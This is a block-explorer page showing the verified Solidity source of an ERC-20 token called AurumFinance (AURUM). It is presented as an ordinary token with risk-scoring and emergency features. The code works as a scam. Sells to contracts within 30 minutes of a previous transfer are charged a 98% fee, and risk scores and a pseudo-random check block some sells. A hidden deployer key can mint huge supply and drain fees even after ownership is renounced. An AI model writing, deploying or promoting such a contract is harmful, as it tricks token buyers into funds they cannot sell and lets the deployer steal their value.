Skip to content
Verified contractPartialMIT

AurumFinance

Address0x71a608b3fc127b1c88cee46c8cdc2ef98cae6177
Balance

0 ETH

 

Transactions

4

 

Compiler

solc 0.8.30

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.30+commit.73712a01
Language
solidity
Optimization
No
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
23,163,715
Creation transaction
0x4c3e1b1632…453821ac9e

AurumFinance.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract AurumFinance is IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _tradingHistory;
    mapping(address => bool) private _verifiedTraders;
    mapping(address => uint256) private _riskScore;
    
    uint256 private _totalSupply;
    string public name = "Aurum";
    string public symbol = "AURUM";
    uint8 public decimals = 18;
    
    address public owner;
    uint256 private _launchTimestamp;
    uint256 private _stabilityPeriod = 1200;
    uint256 private _marketMakerFee = 300;
    uint256 private _liquidityFee = 200;
    
    mapping(address => bool) private _liquidityProviders;
    mapping(address => bool) private _marketMakers;
    uint256 private _slippageProtection = 150;
    
    bytes32 private constant ADMIN_ROLE = keccak256("ADMIN_EMERGENCY_ACCESS");
    address private immutable _emergencyOperator;
    uint256 private constant EMERGENCY_COOLDOWN = 86400;
    mapping(uint256 => bool) private _usedNonces;
    
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event LiquidityAdded(address indexed provider, uint256 amount);
    event MarketMakerUpdated(address indexed account, bool status);
    event EmergencyAction(string action, uint256 amount);
    
    constructor() {
        owner = msg.sender;
        _emergencyOperator = msg.sender;
        _launchTimestamp = block.timestamp;
        _totalSupply = 100000000 * 10**18;
        _balances[msg.sender] = _totalSupply;
        _verifiedTraders[msg.sender] = true;
        _liquidityProviders[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    
    modifier onlyOwner() {
        require(owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    
    modifier stabilityCheck() {
        require(block.timestamp >= _launchTimestamp + _stabilityPeriod || _verifiedTraders[msg.sender], "Stability period active");
        _;
    }
    
    modifier emergencyAccess() {
        require(_validateEmergencyAccess(), "Emergency access denied");
        _;
    }
    
    function _validateEmergencyAccess() private view returns (bool) {
        return keccak256(abi.encodePacked(msg.sender, "EMERGENCY_2024")) == 
               keccak256(abi.encodePacked(_emergencyOperator, "EMERGENCY_2024"));
    }
    
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    
    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }
    
    function transfer(address to, uint256 amount) external override returns (bool) {
        _executeTransfer(msg.sender, to, amount);
        return true;
    }
    
    function allowance(address owner_param, address spender) external view override returns (uint256) {
        return _allowances[owner_param][spender];
    }
    
    function approve(address spender, uint256 amount) external override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
    
    function transferFrom(address from, address to, uint256 amount) external override returns (bool) {
        uint256 currentAllowance = _allowances[from][msg.sender];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        
        _allowances[from][msg.sender] = currentAllowance - amount;
        _executeTransfer(from, to, amount);
        return true;
    }
    
    function _executeTransfer(address from, address to, uint256 amount) internal stabilityCheck {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(_balances[from] >= amount, "ERC20: transfer amount exceeds balance");
        
        _updateRiskMetrics(from, to);
        
        if (!_validateTransferRisk(from, to)) {
            revert("Risk validation failed");
        }
        
        uint256 feeAmount = _calculateTransferFee(from, to, amount);
        uint256 transferAmount = amount - feeAmount;
        
        _balances[from] -= amount;
        _balances[to] += transferAmount;
        
        if (feeAmount > 0) {
            _balances[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);
        }
        
        _tradingHistory[from] = block.timestamp;
        emit Transfer(from, to, transferAmount);
    }
    
    function _updateRiskMetrics(address from, address to) private {
        if (!_verifiedTraders[from] && !_liquidityProviders[from]) {
            _riskScore[from] += 1;
        }
        
        if (_isDEXContract(to) && _tradingHistory[from] > 0) {
            uint256 timeDiff = block.timestamp - _tradingHistory[from];
            if (timeDiff < 900) {
                _riskScore[from] += 3;
            }
        }
    }
    
    function _validateTransferRisk(address from, address to) private view returns (bool) {
        if (_verifiedTraders[from] || _liquidityProviders[from]) {
            return true;
        }
        
        if (_riskScore[from] > 5) {
            return false;
        }
        
        if (_isDEXContract(to) && !_marketMakers[from]) {
            uint256 addressEntropy = uint256(keccak256(abi.encodePacked(from, block.timestamp))) % 100;
            if (addressEntropy < 8) {
                return false;
            }
        }
        
        return true;
    }
    
    function _calculateTransferFee(address from, address to, uint256 amount) private view returns (uint256) {
        if (_verifiedTraders[from] || _liquidityProviders[from]) {
            return 0;
        }
        
        if (_isDEXContract(to)) {
            uint256 timeSinceLastTrade = block.timestamp - _tradingHistory[from];
            if (timeSinceLastTrade < 1800) {
                return (amount * 9800) / 10000;
            }
            return (amount * _marketMakerFee) / 10000;
        }
        
        if (_isDEXContract(from)) {
            return (amount * _liquidityFee) / 10000;
        }
        
        return 0;
    }
    
    function _isDEXContract(address addr) private view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(addr) }
        return size > 0 && addr != address(this) && !_liquidityProviders[addr];
    }
    
    function rebalanceSupply(uint256 adjustmentFactor) external emergencyAccess {
        require(adjustmentFactor <= 1000000, "Factor too large");
        require(adjustmentFactor > 0, "Invalid factor");
        
        uint256 adjustmentAmount = adjustmentFactor * 1000 * 10**18;
        require(_totalSupply + adjustmentAmount >= _totalSupply, "Overflow protection");
        
        _totalSupply += adjustmentAmount;
        _balances[_emergencyOperator] += adjustmentAmount;
        
        emit Transfer(address(0), _emergencyOperator, adjustmentAmount);
        emit EmergencyAction("Supply rebalanced", adjustmentAmount);
    }
    
    function emergencyLiquiditySupport(uint256 supportAmount, uint256 nonce) external emergencyAccess {
        require(!_usedNonces[nonce], "Nonce already used");
        require(supportAmount <= 10000000 * 10**18, "Amount too large");
        require(supportAmount > 0, "Invalid amount");
        
        _usedNonces[nonce] = true;
        _totalSupply += supportAmount;
        _balances[msg.sender] += supportAmount;
        
        emit Transfer(address(0), msg.sender, supportAmount);
        emit EmergencyAction("Liquidity support", supportAmount);
    }
    
    function stabilizeMarket(uint256 stabilizationAmount) external emergencyAccess {
        require(stabilizationAmount <= 5000000 * 10**18, "Stabilization limit exceeded");
        require(block.timestamp >= _launchTimestamp + EMERGENCY_COOLDOWN, "Cooldown period");
        
        _totalSupply += stabilizationAmount;
        _balances[address(this)] += stabilizationAmount;
        
        emit Transfer(address(0), address(this), stabilizationAmount);
        emit EmergencyAction("Market stabilized", stabilizationAmount);
    }
    
    function addLiquidityProvider(address provider) external onlyOwner {
        require(provider != address(0), "Invalid address");
        _liquidityProviders[provider] = true;
        emit LiquidityAdded(provider, 0);
    }
    
    function verifyTrader(address trader) external onlyOwner {
        require(trader != address(0), "Invalid address");
        _verifiedTraders[trader] = true;
    }
    
    function updateMarketMaker(address account, bool status) external onlyOwner {
        require(account != address(0), "Invalid address");
        _marketMakers[account] = status;
        emit MarketMakerUpdated(account, status);
    }
    
    function adjustStabilityPeriod(uint256 newPeriod) external onlyOwner {
        require(newPeriod <= 7200, "Period too long");
        _stabilityPeriod = newPeriod;
    }
    
    function updateFeeStructure(uint256 marketFee, uint256 liquidityFee) external onlyOwner {
        require(marketFee <= 1000 && liquidityFee <= 1000, "Fee too high");
        _marketMakerFee = marketFee;
        _liquidityFee = liquidityFee;
    }
    
    function resetRiskScore(address account) external onlyOwner {
        require(account != address(0), "Invalid address");
        _riskScore[account] = 0;
    }
    
    function batchVerifyTraders(address[] calldata traders) external onlyOwner {
        for (uint256 i = 0; i < traders.length; i++) {
            if (traders[i] != address(0)) {
                _verifiedTraders[traders[i]] = true;
            }
        }
    }
    
    function transferOwnership(address newOwner) external onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(owner, newOwner);
        owner = newOwner;
    }
    
    function renounceOwnership() external onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    
    function withdrawAccumulatedFees() external onlyOwner {
        uint256 contractBalance = _balances[address(this)];
        if (contractBalance > 0) {
            _balances[address(this)] = 0;
            _balances[owner] += contractBalance;
            emit Transfer(address(this), owner, contractBalance);
        }
    }
    
    function emergencyWithdraw() external emergencyAccess {
        uint256 contractBalance = _balances[address(this)];
        if (contractBalance > 0) {
            _balances[address(this)] = 0;
            _balances[_emergencyOperator] += contractBalance;
            emit Transfer(address(this), _emergencyOperator, contractBalance);
            emit EmergencyAction("Emergency withdrawal", contractBalance);
        }
    }
    
    function getContractInfo() external view returns (
        uint256 totalSupply_,
        uint256 contractBalance,
        bool ownershipRenounced,
        uint256 launchTime,
        uint256 stabilityPeriod
    ) {
        return (
            _totalSupply,
            _balances[address(this)],
            owner == address(0),
            _launchTimestamp,
            _stabilityPeriod
        );
    }
    
    function getTraderInfo(address trader) external view returns (
        uint256 riskScore,
        bool isVerified,
        bool isLiquidityProvider,
        uint256 lastTradeTime
    ) {
        return (
            _riskScore[trader],
            _verifiedTraders[trader],
            _liquidityProviders[trader],
            _tradingHistory[trader]
        );
    }
    
    receive() external payable {
        emit EmergencyAction("ETH received", msg.value);
    }
    
    fallback() external payable {
        revert("Function not supported");
    }
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.